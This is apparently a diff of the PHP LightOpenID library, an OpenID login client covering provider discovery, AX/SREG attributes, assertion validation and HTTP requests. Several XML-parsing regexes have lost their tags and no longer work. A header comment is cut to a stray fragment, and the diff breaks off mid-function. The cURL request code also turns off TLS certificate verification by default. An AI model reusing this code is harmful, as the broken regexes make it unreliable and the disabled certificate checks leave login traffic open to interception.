discovery. Normally not used. - * @param $url Identity URL. - * @return String OP Endpoint (i.e. OpenID provider address). - * @throws ErrorException - */ - public function discover($url) - { - if (!$url) { - throw new ErrorException('No identity supplied.'); - } - # Use xri.net proxy to resolve i-name identities - if (!preg_match('#^https?:#', $url)) { - $url = "https://xri.net/$url"; - } - - # We save the original url in case of Yadis discovery failure. - # It can happen when we'll be lead to an XRDS document - # which does not have any OpenID2 services. - $originalUrl = $url; - - # A flag to disable yadis discovery in case of failure in headers. - $yadis = true; - - # Allows optional regex replacement of the URL, e.g. to use Google Apps - # as an OpenID provider without setting up XRDS on the domain hosting. - if (!is_null($this->xrds_override_pattern) && !is_null($this->xrds_override_replacement)) { - $url = preg_replace($this->xrds_override_pattern, $this->xrds_override_replacement, $url); - } - - # We'll jump a maximum of 5 times, to avoid endless redirections. - for ($i = 0; $i < 5; $i ++) { - if ($yadis) { - $headers = $this->request($url, 'HEAD', array(), true); - - $next = false; - if (isset($headers['x-xrds-location'])) { - $url = $this->build_url(parse_url($url), parse_url(trim($headers['x-xrds-location']))); - $next = true; - } - - if (isset($headers['content-type']) && $this->is_allowed_type($headers['content-type'])) { - # Found an XRDS document, now let's find the server, and optionally delegate. - $content = $this->request($url, 'GET'); - - preg_match_all('#(.*?)#s', $content, $m); - foreach ($m[1] as $content) { - $content = ' ' . $content; # The space is added, so that strpos doesn't return 0. - - # OpenID 2 - $ns = preg_quote('http://specs.openid.net/auth/2.0/', '#'); - if (preg_match('#\s*'.$ns.'(server|signon)\s*#s', $content, $type)) { - if ($type[1] == 'server') { - $this->identifier_select = true; - } - - preg_match('#(.*)#', $content, $server); - preg_match('#<(Local|Canonical)ID>(.*)#', $content, $delegate); - if (empty($server)) { - return false; - } - # Does the server advertise support for either AX or SREG? - $this->ax = (bool) strpos($content, 'http://openid.net/srv/ax/1.0'); - $this->sreg = strpos($content, 'http://openid.net/sreg/1.0') - || strpos($content, 'http://openid.net/extensions/sreg/1.1'); - - $server = $server[1]; - if (isset($delegate[2])) { - $this->identity = trim($delegate[2]); - } - $this->version = 2; - - $this->server = $server; - return $server; - } - - # OpenID 1.1 - $ns = preg_quote('http://openid.net/signon/1.1', '#'); - if (preg_match('#\s*'.$ns.'\s*#s', $content)) { - preg_match('#(.*)#', $content, $server); - preg_match('#<.*?Delegate>(.*)#', $content, $delegate); - if (empty($server)) { - return false; - } - # AX can be used only with OpenID 2.0, so checking only SREG - $this->sreg = strpos($content, 'http://openid.net/sreg/1.0') - || strpos($content, 'http://openid.net/extensions/sreg/1.1'); - - $server = $server[1]; - if (isset($delegate[1])) { - $this->identity = $delegate[1]; - } - $this->version = 1; - - $this->server = $server; - return $server; - } - } - - $next = true; - $yadis = false; - $url = $originalUrl; - $content = null; - break; - } - if ($next) { - continue; - } - - # There are no relevant information in headers, so we search the body. - $content = $this->request($url, 'GET', array(), true); - - if (isset($this->headers['x-xrds-location'])) { - $url = $this->build_url(parse_url($url), parse_url(trim($this->headers['x-xrds-location']))); - continue; - } - - $location = $this->htmlTag($content, 'meta', 'http-equiv', 'X-XRDS-Location', 'content'); - if ($location) { - $url = $this->build_url(parse_url($url), parse_url($location)); - continue; - } - } - - if (!$content) { - $content = $this->request($url, 'GET'); - } - - # At this point, the YADIS Discovery has failed, so we'll switch - # to openid2 HTML discovery, then fallback to openid 1.1 discovery. - $server = $this->htmlTag($content, 'link', 'rel', 'openid2.provider', 'href'); - $delegate = $this->htmlTag($content, 'link', 'rel', 'openid2.local_id', 'href'); - $this->version = 2; - - if (!$server) { - # The same with openid 1.1 - $server = $this->htmlTag($content, 'link', 'rel', 'openid.server', 'href'); - $delegate = $this->htmlTag($content, 'link', 'rel', 'openid.delegate', 'href'); - $this->version = 1; - } - - if ($server) { - # We found an OpenID2 OP Endpoint - if ($delegate) { - # We have also found an OP-Local ID. - $this->identity = $delegate; - } - $this->server = $server; - return $server; - } - - throw new ErrorException("No OpenID Server found at $url", 404); - } - throw new ErrorException('Endless redirection!', 500); - } - - /** - * @param $content_type - * - * @return bool - */ - protected function is_allowed_type($content_type) - { - # Apparently, some providers return XRDS documents as text/html. - # While it is against the spec, allowing this here shouldn't break - # compatibility with anything. - $allowed_types = array('application/xrds+xml', 'text/xml'); - - # Only allow text/html content type for the Yahoo logins, since - # it might cause an endless redirection for the other providers. - if ($this->get_provider_name($this->claimed_id) == 'yahoo') { - $allowed_types[] = 'text/html'; - } - - foreach ($allowed_types as $type) { - if (strpos($content_type, $type) !== false) { - return true; - } - } - - return false; - } - - /** - * @param $provider_url - * - * @return string - */ - protected function get_provider_name($provider_url) - { - $result = ''; - - if (!empty($provider_url)) { - $tokens = array_reverse( - explode('.', parse_url($provider_url, PHP_URL_HOST)) - ); - $result = strtolower( - (count($tokens) > 1 && strlen($tokens[1]) > 3) - ? $tokens[1] - : (count($tokens) > 2 ? $tokens[2] : '') - ); - } - - return $result; - } - - /** - * @return array - */ - protected function sregParams() - { - $params = array(); - # We always use SREG 1.1, even if the server is advertising only support for 1.0. - # That's because it's fully backwards compatible with 1.0, and some providers - # advertise 1.0 even if they accept only 1.1. One such provider is myopenid.com - $params['openid.ns.sreg'] = 'http://openid.net/extensions/sreg/1.1'; - if ($this->required) { - $params['openid.sreg.required'] = array(); - foreach ($this->required as $required) { - if (!isset(self::$ax_to_sreg[$required])) { - continue; - } - $params['openid.sreg.required'][] = self::$ax_to_sreg[$required]; - } - $params['openid.sreg.required'] = implode(',', $params['openid.sreg.required']); - } - - if ($this->optional) { - $params['openid.sreg.optional'] = array(); - foreach ($this->optional as $optional) { - if (!isset(self::$ax_to_sreg[$optional])) { - continue; - } - $params['openid.sreg.optional'][] = self::$ax_to_sreg[$optional]; - } - $params['openid.sreg.optional'] = implode(',', $params['openid.sreg.optional']); - } - return $params; - } - - /** - * @return array - */ - protected function axParams() - { - $params = array(); - if ($this->required || $this->optional) { - $params['openid.ns.ax'] = 'http://openid.net/srv/ax/1.0'; - $params['openid.ax.mode'] = 'fetch_request'; - $this->aliases = array(); - $counts = array(); - $required = array(); - $optional = array(); - foreach (array('required','optional') as $type) { - foreach ($this->$type as $alias => $field) { - if (is_int($alias)) { - $alias = strtr($field, '/', '_'); - } - $this->aliases[$alias] = 'http://axschema.org/' . $field; - if (empty($counts[$alias])) { - $counts[$alias] = 0; - } - $counts[$alias] += 1; - ${$type}[] = $alias; - } - } - foreach ($this->aliases as $alias => $ns) { - $params['openid.ax.type.' . $alias] = $ns; - } - foreach ($counts as $alias => $count) { - if ($count == 1) { - continue; - } - $params['openid.ax.count.' . $alias] = $count; - } - - # Don't send empty ax.required and ax.if_available. - # Google and possibly other providers refuse to support ax when one of these is empty. - if ($required) { - $params['openid.ax.required'] = implode(',', $required); - } - if ($optional) { - $params['openid.ax.if_available'] = implode(',', $optional); - } - } - return $params; - } - - /** - * @param $immediate - * - * @return string - */ - protected function authUrl_v1($immediate) - { - $returnUrl = $this->returnUrl; - # If we have an openid.delegate that is different from our claimed id, - # we need to somehow preserve the claimed id between requests. - # The simplest way is to just send it along with the return_to url. - if ($this->identity != $this->claimed_id) { - $returnUrl .= (strpos($returnUrl, '?') ? '&' : '?') . 'openid.claimed_id=' . $this->claimed_id; - } - - $params = array( - 'openid.return_to' => $returnUrl, - 'openid.mode' => $immediate ? 'checkid_immediate' : 'checkid_setup', - 'openid.identity' => $this->identity, - 'openid.trust_root' => $this->trustRoot, - ) + $this->sregParams(); - - return $this->build_url(parse_url($this->server), array('query' => http_build_query($params, '', '&'))); - } - - /** - * @param $immediate - * - * @return string - */ - protected function authUrl_v2($immediate) - { - $params = array( - 'openid.ns' => 'http://specs.openid.net/auth/2.0', - 'openid.mode' => $immediate ? 'checkid_immediate' : 'checkid_setup', - 'openid.return_to' => $this->returnUrl, - 'openid.realm' => $this->trustRoot, - ); - - if ($this->ax) { - $params += $this->axParams(); - } - - if ($this->sreg) { - $params += $this->sregParams(); - } - - if (!$this->ax && !$this->sreg) { - # If OP doesn't advertise either SREG, nor AX, let's send them both - # in worst case we don't get anything in return. - $params += $this->axParams() + $this->sregParams(); - } - - if (!empty($this->oauth) && is_array($this->oauth)) { - $params['openid.ns.oauth'] = 'http://specs.openid.net/extensions/oauth/1.0'; - $params['openid.oauth.consumer'] = str_replace(array('http://', 'https://'), '', $this->trustRoot); - $params['openid.oauth.scope'] = implode(' ', $this->oauth); - } - - if ($this->identifier_select) { - $params['openid.identity'] = $params['openid.claimed_id'] - = 'http://specs.openid.net/auth/2.0/identifier_select'; - } else { - $params['openid.identity'] = $this->identity; - $params['openid.claimed_id'] = $this->claimed_id; - } - - return $this->build_url(parse_url($this->server), array('query' => http_build_query($params, '', '&'))); - } - - /** - * Returns authentication url. Usually, you want to redirect your user to it. - * @param bool $immediate - * @return String The authentication url. - * @throws ErrorException -*/ - public function authUrl($immediate = false) - { - if ($this->setup_url && !$immediate) { - return $this->setup_url; - } - if (!$this->server) { - $this->discover($this->identity); - } - - if ($this->version == 2) { - return $this->authUrl_v2($immediate); - } - return $this->authUrl_v1($immediate); - } - - /** - * Performs OpenID verification with the OP. - * @return Bool Whether the verification was successful. - * @throws ErrorException - */ - public function validate() - { - # If the request was using immediate mode, a failure may be reported - # by presenting user_setup_url (for 1.1) or reporting - # mode 'setup_needed' (for 2.0). Also catching all modes other than - # id_res, in order to avoid throwing errors. - if (isset($this->data['openid_user_setup_url'])) { - $this->setup_url = $this->data['openid_user_setup_url']; - return false; - } - if ($this->mode != 'id_res') { - return false; - } - - $this->claimed_id = isset($this->data['openid_claimed_id'])?$this->data['openid_claimed_id']:$this->data['openid_identity']; - $params = array( - 'openid.assoc_handle' => $this->data['openid_assoc_handle'], - 'openid.signed' => $this->data['openid_signed'], - 'openid.sig' => $this->data['openid_sig'], - ); - - if (isset($this->data['openid_ns'])) { - # We're dealing with an OpenID 2.0 server, so let's set an ns - # Even though we should know location of the endpoint, - # we still need to verify it by discovery, so $server is not set here - $params['openid.ns'] = 'http://specs.openid.net/auth/2.0'; - } elseif (isset($this->data['openid_claimed_id']) - && $this->data['openid_claimed_id'] != $this->data['openid_identity'] - ) { - # If it's an OpenID 1 provider, and we've got claimed_id, - # we have to append it to the returnUrl, like authUrl_v1 does. - $this->returnUrl .= (strpos($this->returnUrl, '?') ? '&' : '?') - . 'openid.claimed_id=' . $this->claimed_id; - } - - if ($this->data['openid_return_to'] != $this->returnUrl) { - # The return_to url must match the url of current request. - # I'm assuming that no one will set the returnUrl to something that doesn't make sense. - return false; - } - - $server = $this->discover($this->claimed_id); - - foreach (explode(',', $this->data['openid_signed']) as $item) { - $value = $this->data['openid_' . str_replace('.', '_', $item)]; - $params['openid.' . $item] = $value; - } - - $params['openid.mode'] = 'check_authentication'; - - $response = $this->request($server, 'POST', $params); - - return preg_match('/is_valid\s*:\s*true/i', $response); - } - - /** - * @return array - */ - protected function getAxAttributes() - { - $result = array(); - - if ($alias = $this->getNamespaceAlias('http://openid.net/srv/ax/1.0', 'ax')) { - $prefix = 'openid_' . $alias; - $length = strlen('http://axschema.org/'); - - foreach (explode(',', $this->data['openid_signed']) as $key) { - $keyMatch = $alias . '.type.'; - - if (strncmp($key, $keyMatch, strlen($keyMatch)) !== 0) { - continue; - } - - $key = substr($key, strlen($keyMatch)); - $idv = $prefix . '_value_' . $key; - $idc = $prefix . '_count_' . $key; - $key = substr($this->getItem($prefix . '_type_' . $key), $length); - - if (!empty($key)) { - if (($count = intval($this->getItem($idc))) > 0) { - $value = array(); - - for ($i = 1; $i <= $count; $i++) { - $value[] = $this->getItem($idv . '_' . $i); - } - - $value = ($count == 1) ? reset($value) : $value; - } else { - $value = $this->getItem($idv); - } - - if (!is_null($value)) { - $result[$key] = $value; - } - } - } - } else { - // No alias for the AX schema has been found, - // so there is no AX data in the OP's response. - } - - return $result; - } - - /** - * @return array - */ - protected function getSregAttributes() - { - $attributes = array(); - $sreg_to_ax = array_flip(self::$ax_to_sreg); - if ($alias = $this->getNamespaceAlias('http://openid.net/extensions/sreg/1.1', 'sreg')) { - foreach (explode(',', $this->data['openid_signed']) as $key) { - $keyMatch = $alias . '.'; - if (strncmp($key, $keyMatch, strlen($keyMatch)) !== 0) { - continue; - } - $key = substr($key, strlen($keyMatch)); - if (!isset($sreg_to_ax[$key])) { - # The field name isn't part of the SREG spec, so we ignore it. - continue; - } - $attributes[$sreg_to_ax[$key]] = $this->data['openid_' . $alias . '_' . $key]; - } - } - return $attributes; - } - - /** - * Gets AX/SREG attributes provided by OP. should be used only after successful validation. - * Note that it does not guarantee that any of the required/optional parameters will be present, - * or that there will be no other attributes besides those specified. - * In other words. OP may provide whatever information it wants to. - * * SREG names will be mapped to AX names. - * * - * @return array Array of attributes with keys being the AX schema names, e.g. 'contact/email' @see http://www.axschema.org/types/ -*/ - public function getAttributes() - { - if (isset($this->data['openid_ns']) - && $this->data['openid_ns'] == 'http://specs.openid.net/auth/2.0' - ) { # OpenID 2.0 - # We search for both AX and SREG attributes, with AX taking precedence. - return $this->getAxAttributes() + $this->getSregAttributes(); - } - return $this->getSregAttributes(); - } - - /** - * Gets an OAuth request token if the OpenID+OAuth hybrid protocol has been used. - * - * In order to use the OpenID+OAuth hybrid protocol, you need to add at least one - * scope to the $openid->oauth array before you get the call to getAuthUrl(), e.g.: - * $openid->oauth[] = 'https://www.googleapis.com/auth/plus.me'; - * - * Furthermore the registered consumer name must fit the OpenID realm. - * To register an OpenID consumer at Google use: https://www.google.com/accounts/ManageDomains - * - * @return string|bool OAuth request token on success, FALSE if no token was provided. - */ - public function getOAuthRequestToken() - { - $alias = $this->getNamespaceAlias('http://specs.openid.net/extensions/oauth/1.0'); - - return !empty($alias) ? $this->data['openid_' . $alias . '_request_token'] : false; - } - - /** - * Gets the alias for the specified namespace, if it's present. - * - * @param string $namespace The namespace for which an alias is needed. - * @param string $hint Common alias of this namespace, used for optimization. - * @return string|null The namespace alias if found, otherwise - NULL. - */ - private function getNamespaceAlias($namespace, $hint = null) - { - $result = null; - - if (empty($hint) || $this->getItem('openid_ns_' . $hint) != $namespace) { - // The common alias is either undefined or points to - // some other extension - search for another alias.. - $prefix = 'openid_ns_'; - $length = strlen($prefix); - - foreach ($this->data as $key => $val) { - if (strncmp($key, $prefix, $length) === 0 && $val === $namespace) { - $result = trim(substr($key, $length)); - break; - } - } - } else { - $result = $hint; - } - - return $result; - } - - /** - * Gets an item from the $data array by the specified id. - * - * @param string $id The id of the desired item. - * @return string|null The item if found, otherwise - NULL. - */ - private function getItem($id) - { - return isset($this->data[$id]) ? $this->data[$id] : null; - } -} += 5.1.2 with cURL or HTTP/HTTPS stream wrappers enabled. + * + * @version v1.3.1 (2016-03-04) + * @link https://code.google.com/p/lightopenid/ Project URL + * @link https://github.com/iignatov/LightOpenID GitHub Repo + * @author Mewp + * @copyright Copyright (c) 2013 Mewp + * @license http://opensource.org/licenses/mit-license.php MIT License + */ +class LightOpenID +{ + public $returnUrl + ; + public $required = array() + ; + public $optional = array() + ; + public $verify_peer = null + ; + public $capath = null + ; + public $cainfo = null + ; + public $cnmatch = null + ; + public $data + ; + public $oauth = array() + ; + public $curl_time_out = 30 // in seconds + ; + public $curl_connect_time_out = 30; // in seconds + private $identity; + private $claimed_id; + protected $server; + protected $version; + protected $trustRoot; + protected $aliases; + protected $identifier_select = false + ; + protected $ax = false; + protected $sreg = false; + protected $setup_url = null; + protected $headers = array() + ; + protected $proxy = null; + protected $user_agent = 'LightOpenID' + ; + protected $xrds_override_pattern = null; + protected $xrds_override_replacement = null; + protected static $ax_to_sreg = array( + 'namePerson/friendly' => 'nickname', + 'contact/email' => 'email', + 'namePerson' => 'fullname', + 'birthDate' => 'dob', + 'person/gender' => 'gender', + 'contact/postalCode/home' => 'postcode', + 'contact/country/home' => 'country', + 'pref/language' => 'language', + 'pref/timezone' => 'timezone', + ); + + /** + * LightOpenID constructor. + * + * @param $host + * @param null $proxy + * + * @throws ErrorException + */ + public function __construct($host, $proxy = null) + { + $this->set_realm($host); + $this->set_proxy($proxy); + + $uri = rtrim(preg_replace('#((?<=\?)|&)openid\.[^&]+#', '', $_SERVER['REQUEST_URI']), '?'); + $this->returnUrl = $this->trustRoot . $uri; + + $this->data = ($_SERVER['REQUEST_METHOD'] === 'POST') ? $_POST : $_GET; + + if (!function_exists('curl_init') && !in_array('https', stream_get_wrappers())) { + throw new ErrorException('You must have either https wrappers or curl enabled.'); + } + } + + /** + * @param $name + * + * @return bool + */ + public function __isset($name) + { + return in_array($name, array('identity', 'trustRoot', 'realm', 'xrdsOverride', 'mode')); + } + + /** + * @param $name + * @param $value + */ + public function __set($name, $value) + { + switch ($name) { + case 'identity': + if (strlen($value = trim((String) $value))) { + if (preg_match('#^xri:/*#i', $value, $m)) { + $value = substr($value, strlen($m[0])); + } elseif (!preg_match('/^(?:[=@+\$!\(]|https?:)/i', $value)) { + $value = "http://$value"; + } + if (preg_match('#^https?://[^/]+$#i', $value, $m)) { + $value .= '/'; + } + } + $this->$name = $this->claimed_id = $value; + break; + case 'trustRoot': + case 'realm': + $this->trustRoot = trim($value); + break; + case 'xrdsOverride': + if (is_array($value)) { + list($pattern, $replacement) = $value; + $this->xrds_override_pattern = $pattern; + $this->xrds_override_replacement = $replacement; + } else { + trigger_error('Invalid value specified for "xrdsOverride".', E_USER_ERROR); + } + break; + } + } + + /** + * @param $name + * + * @return |null + */ + public function __get($name) + { + switch ($name) { + case 'identity': + # We return claimed_id instead of identity, + # because the developer should see the claimed identifier, + # i.e. what he set as identity, not the op-local identifier (which is what we verify) + return $this->claimed_id; + case 'trustRoot': + case 'realm': + return $this->trustRoot; + case 'mode': + return empty($this->data['openid_mode']) ? null : $this->data['openid_mode']; + } + } + + /** + * @param $proxy + * + * @throws ErrorException + */ + public function set_proxy($proxy) + { + if (!empty($proxy)) { + // When the proxy is a string - try to parse it. + if (!is_array($proxy)) { + $proxy = parse_url($proxy); + } + + // Check if $proxy is valid after the parsing. + if ($proxy && !empty($proxy['host'])) { + // Make sure that a valid port number is specified. + if (array_key_exists('port', $proxy)) { + if (!is_int($proxy['port'])) { + $proxy['port'] = is_numeric($proxy['port']) ? intval($proxy['port']) : 0; + } + + if ($proxy['port'] <= 0) { + throw new ErrorException('The specified proxy port number is invalid.'); + } + } + + $this->proxy = $proxy; + } + } + } + + /** + * Checks if the server specified in the url exists. + * + * @param $url string url to check + * @return true, if the server exists; false otherwise + */ + public function hostExists($url) + { + if (strpos($url, '/') === false) { + $server = $url; + } else { + $server = @parse_url($url, PHP_URL_HOST); + } + + if (!$server) { + return false; + } + + return !!gethostbynamel($server); + } + + /** + * @param $uri + */ + protected function set_realm($uri) + { + $realm = ''; + + # Set a protocol, if not specified. + $realm .= (($offset = strpos($uri, '://')) === false) ? $this->get_realm_protocol() : ''; + + # Set the offset properly. + $offset = (($offset !== false) ? $offset + 3 : 0); + + # Get only the root, without the path. + $realm .= (($end = strpos($uri, '/', $offset)) === false) ? $uri : substr($uri, 0, $end); + + $this->trustRoot = $realm; + } + + /** + * @return string + */ + protected function get_realm_protocol() + { + if (!empty($_SERVER['HTTPS'])) { + $use_secure_protocol = ($_SERVER['HTTPS'] !== 'off'); + } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) { + $use_secure_protocol = ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'); + } elseif (isset($_SERVER['HTTP__WSSC'])) { + $use_secure_protocol = ($_SERVER['HTTP__WSSC'] == 'https'); + } else { + $use_secure_protocol = false; + } + + return $use_secure_protocol ? 'https://' : 'http://'; + } + + /** + * @param $url + * @param string $method + * @param array $params + * @param $update_claimed_id + * + * @return array|bool|string + * @throws ErrorException + */ + protected function request_curl($url, $method='GET', $params=array(), $update_claimed_id=false) + { + $params = http_build_query($params, '', '&'); + $curl = curl_init($url . ($method == 'GET' && $params ? '?' . $params : '')); + curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); + curl_setopt($curl, CURLOPT_HEADER, false); + curl_setopt($curl, CURLOPT_USERAGENT, $this->user_agent); + curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); + + if ($method == 'POST') { + curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-type: application/x-www-form-urlencoded')); + } else { + curl_setopt($curl, CURLOPT_HTTPHEADER, array('Accept: application/xrds+xml, */*')); + } + + curl_setopt($curl, CURLOPT_TIMEOUT, $this->curl_time_out); // defaults to infinite + curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $this->curl_connect_time_out); // defaults to 300s + + if (!empty($this->proxy)) { + curl_setopt($curl, CURLOPT_PROXY, $this->proxy['host']); + + if (!empty($this->proxy['port'])) { + curl_setopt($curl, CURLOPT_PROXYPORT, $this->proxy['port']); + } + + if (!empty($this->proxy['user'])) { + curl_setopt($curl, CURLOPT_PROXYUSERPWD, $this->proxy['user'] . ':' . $this->proxy['pass']); + } + } + + if ($this->verify_peer !== null) { + curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); + if ($this->capath) { + curl_setopt($curl, CURLOPT_CAPATH, $this->capath); + } + + if ($this->cainfo) { + curl_setopt($curl, CURLOPT_CAINFO, $this->cainfo); + } + } + + if ($method == 'POST') { + curl_setopt($curl, CURLOPT_POST, true); + curl_setopt($curl, CURLOPT_POSTFIELDS, $params); + } elseif ($method == 'HEAD') { + curl_setopt($curl, CURLOPT_HEADER, true); + curl_setopt($curl, CURLOPT_NOBODY, true); + } else { + curl_setopt($curl, CURLOPT_HEADER, true); + curl_setopt($curl, CURLOPT_HTTPGET, true); + } + $response = curl_exec($curl); + + if ($method == 'HEAD' && curl_getinfo($curl, CURLINFO_HTTP_CODE) == 405) { + curl_setopt($curl, CURLOPT_HTTPGET, true); + $response = curl_exec($curl); + $response = substr($response, 0, strpos($response, "\r\n\r\n")); + } + + if ($method == 'HEAD' || $method == 'GET') { + $header_response = $response; + + # If it's a GET request, we want to only parse the header part. + if ($method == 'GET') { + $header_response = substr($response, 0, strpos($response, "\r\n\r\n")); + } + + $headers = array(); + foreach (explode("\n", $header_response) as $header) { + $pos = strpos($header, ':'); + if ($pos !== false) { + $name = strtolower(trim(substr($header, 0, $pos))); + $headers[$name] = trim(substr($header, $pos+1)); + } + } + + if ($update_claimed_id) { + # Update the claimed_id value in case of redirections. + $effective_url = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL); + # Ignore the fragment (some cURL versions don't handle it well). + if (strtok($effective_url, '#') != strtok($url, '#')) { + $this->identity = $this->claimed_id = $effective_url; + } + } + + if ($method == 'HEAD') { + return $headers; + } else { + $this->headers = $headers; + } + } + + if (curl_errno($curl)) { + throw new ErrorException(curl_error($curl), curl_errno($curl)); + } + + return $response; + } + + /** + * @param $array + * @param $update_claimed_id + * + * @return array + */ + protected function parse_header_array($array, $update_claimed_id) + { + $headers = array(); + foreach ($array as $header) { + $pos = strpos($header, ':'); + if ($pos !== false) { + $name = strtolower(trim(substr($header, 0, $pos))); + $headers[$name] = trim(substr($header, $pos+1)); + + # Following possible redirections. The point is just to have + # claimed_id change with them, because the redirections + # are followed automatically. + # We ignore redirections with relative paths. + # If any known provider uses them, file a bug report. + if ($name == 'location' && $update_claimed_id) { + if (strpos($headers[$name], 'http') === 0) { + $this->identity = $this->claimed_id = $headers[$name]; + } elseif ($headers[$name][0] == '/') { + $parsed_url = parse_url($this->claimed_id); + $this->identity = + $this->claimed_id = $parsed_url['scheme'] . '://' + . $parsed_url['host'] + . $headers[$name]; + } + } + } + } + return $headers; + } + + /** + * @param $url + * @param string $method + * @param array $params + * @param $update_claimed_id + * + * @return array|false|string + * @throws ErrorException + */ + protected function request_streams($url, $method='GET', $params=array(), $update_claimed_id=false) + { + if (!$this->hostExists($url)) { + throw new ErrorException("Could not connect to $url.", 404); + } + + if (empty($this->cnmatch)) { + $this->cnmatch = parse_url($url, PHP_URL_HOST); + } + + $params = http_build_query($params, '', '&'); + switch ($method) { + case 'GET': + $opts = array( + 'http' => array( + 'method' => 'GET', + 'header' => 'Accept: application/xrds+xml, */*', + 'user_agent' => $this->user_agent, + 'ignore_errors' => true, + ), + 'ssl' => array( + 'CN_match' => $this->cnmatch + ) + ); + $url = $url . ($params ? '?' . $params : ''); + if (!empty($this->proxy)) { + $opts['http']['proxy'] = $this->proxy_url(); + } + break; + case 'POST': + $opts = array( + 'http' => array( + 'method' => 'POST', + 'header' => 'Content-type: application/x-www-form-urlencoded', + 'user_agent' => $this->user_agent, + 'content' => $params, + 'ignore_errors' => true, + ), + 'ssl' => array( + 'CN_match' => $this->cnmatch + ) + ); + if (!empty($this->proxy)) { + $opts['http']['proxy'] = $this->proxy_url(); + } + break; + case 'HEAD': + // We want to send a HEAD request, but since get_headers() doesn't + // accept $context parameter, we have to change the defaults. + $default = stream_context_get_options(stream_context_get_default()); + + // PHP does not reset all options. Instead, it just sets the options + // available in the passed array, therefore set the defaults manually. + $default += array( + 'http' => array(), + 'ssl' => array() + ); + $default['http'] += array( + 'method' => 'GET', + 'header' => '', + 'user_agent' => '', + 'ignore_errors' => false + ); + $default['ssl'] += array( + 'CN_match' => '' + ); + + $opts = array( + 'http' => array( + 'method' => 'HEAD', + 'header' => 'Accept: application/xrds+xml, */*', + 'user_agent' => $this->user_agent, + 'ignore_errors' => true, + ), + 'ssl' => array( + 'CN_match' => $this->cnmatch + ) + ); + + // Enable validation of the SSL certificates. + if ($this->verify_peer) { + $default['ssl'] += array( + 'verify_peer' => false, + 'capath' => '', + 'cafile' => '' + ); + $opts['ssl'] += array( + 'verify_peer' => true, + 'capath' => $this->capath, + 'cafile' => $this->cainfo + ); + } + + // Change the stream context options. + stream_context_get_default($opts); + + $headers = get_headers($url . ($params ? '?' . $params : '')); + + // Restore the stream context options. + stream_context_get_default($default); + + if (!empty($headers)) { + if (intval(substr($headers[0], strlen('HTTP/1.1 '))) == 405) { + // The server doesn't support HEAD - emulate it with a GET. + $args = func_get_args(); + $args[1] = 'GET'; + call_user_func_array(array($this, 'request_streams'), $args); + $headers = $this->headers; + } else { + $headers = $this->parse_header_array($headers, $update_claimed_id); + } + } else { + $headers = array(); + } + + return $headers; + } + + if ($this->verify_peer) { + $opts['ssl'] += array( + 'verify_peer' => true, + 'capath' => $this->capath, + 'cafile' => $this->cainfo + ); + } + + $context = stream_context_create($opts); + $data = file_get_contents($url, false, $context); + # This is a hack for providers who don't support HEAD requests. + # It just creates the headers array for the last request in $this->headers. + if (isset($http_response_header)) { + $this->headers = $this->parse_header_array($http_response_header, $update_claimed_id); + } + + return $data; + } + + /** + * @param $url + * @param string $method + * @param array $params + * @param bool $update_claimed_id + * + * @return array|bool|false|string + * @throws ErrorException + */ + protected function request($url, $method='GET', $params=array(), $update_claimed_id=false) + { + $use_curl = false; + + if (function_exists('curl_init')) { + if (!$use_curl) { + # When allow_url_fopen is disabled, PHP streams will not work. + $use_curl = !ini_get('allow_url_fopen'); + } + + if (!$use_curl) { + # When there is no HTTPS wrapper, PHP streams cannott be used. + $use_curl = !in_array('https', stream_get_wrappers()); + } + + if (!$use_curl) { + # With open_basedir or safe_mode set, cURL can't follow redirects. + $use_curl = !(ini_get('safe_mode') || ini_get('open_basedir')); + } + } + + return + $use_curl + ? $this->request_curl($url, $method, $params, $update_claimed_id) + : $this->request_streams($url, $method, $params, $update_claimed_id); + } + + /** + * @return string + */ + protected function proxy_url() + { + $result = ''; + + if (!empty($this->proxy)) { + $result = $this->proxy['host']; + + if (!empty($this->proxy['port'])) { + $result = $result . ':' . $this->proxy['port']; + } + + if (!empty($this->proxy['user'])) { + $result = $this->proxy['user'] . ':' . $this->proxy['pass'] . '@' . $result; + } + + $result = 'http://' . $result; + } + + return $result; + } + + /** + * @param $url + * @param $parts + * + * @return string + */ + protected function build_url($url, $parts) + { + if (isset($url['query'], $parts['query'])) { + $parts['query'] = $url['query'] . '&' . $parts['query']; + } + + $url = $parts + $url; + $url = $url['scheme'] . '://' + . (empty($url['username'])?'' + :(empty($url['password'])? "{$url['username']}@" + :"{$url['username']}:{$url['password']}@")) + . $url['host'] + . (empty($url['port'])?'':":{$url['port']}") + . (empty($url['path'])?'':$url['path']) + . (empty($url['query'])?'':"?{$url['query']}") + . (empty($url['fragment'])?'':"#{$url['fragment']}"); + return $url; + } + + /** + * Helper function used to scan for / tags and extract information + * from them + * + * @param $content + * @param $tag + * @param $attrName + * @param $attrValue + * @param $valueName + * + * @return bool + */ + protected function htmlTag($content, $tag, $attrName, $attrValue, $valueName) + { + preg_match_all("#<{$tag}[^>]*$attrName=['\"].*?$attrValue.*?['\"][^>]*$valueName=['\"](.+?)['\"][^>]*/?>#i", $content, $matches1); + preg_match_all("#<{$tag}[^>]*$valueName=['\"](.+?)['\"][^>]*$attrName=['\"].*?$attrValue.*?['\"][^>]*/?>#i", $content, $matches2); + + $result = array_merge($matches1[1], $matches2[1]); + return empty($result)?false:$result[0]; + } + + /** + * Performs Yadis and HTML discovery. Normally not used. + * @param $url Identity URL. + * @return String OP Endpoint (i.e. OpenID provider address). + * @throws ErrorException + */ + public function discover($url) + { + if (!$url) { + throw new ErrorException('No identity supplied.'); + } + # Use xri.net proxy to resolve i-name identities + if (!preg_match('#^https?:#', $url)) { + $url = "https://xri.net/$url"; + } + + # We save the original url in case of Yadis discovery failure. + # It can happen when we'll be lead to an XRDS document + # which does not have any OpenID2 services. + $originalUrl = $url; + + # A flag to disable yadis discovery in case of failure in headers. + $yadis = true; + + # Allows optional regex replacement of the URL, e.g. to use Google Apps + # as an OpenID provider without setting up XRDS on the domain hosting. + if (!is_null($this->xrds_override_pattern) && !is_null($this->xrds_override_replacement)) { + $url = preg_replace($this->xrds_override_pattern, $this->xrds_override_replacement, $url); + } + + # We'll jump a 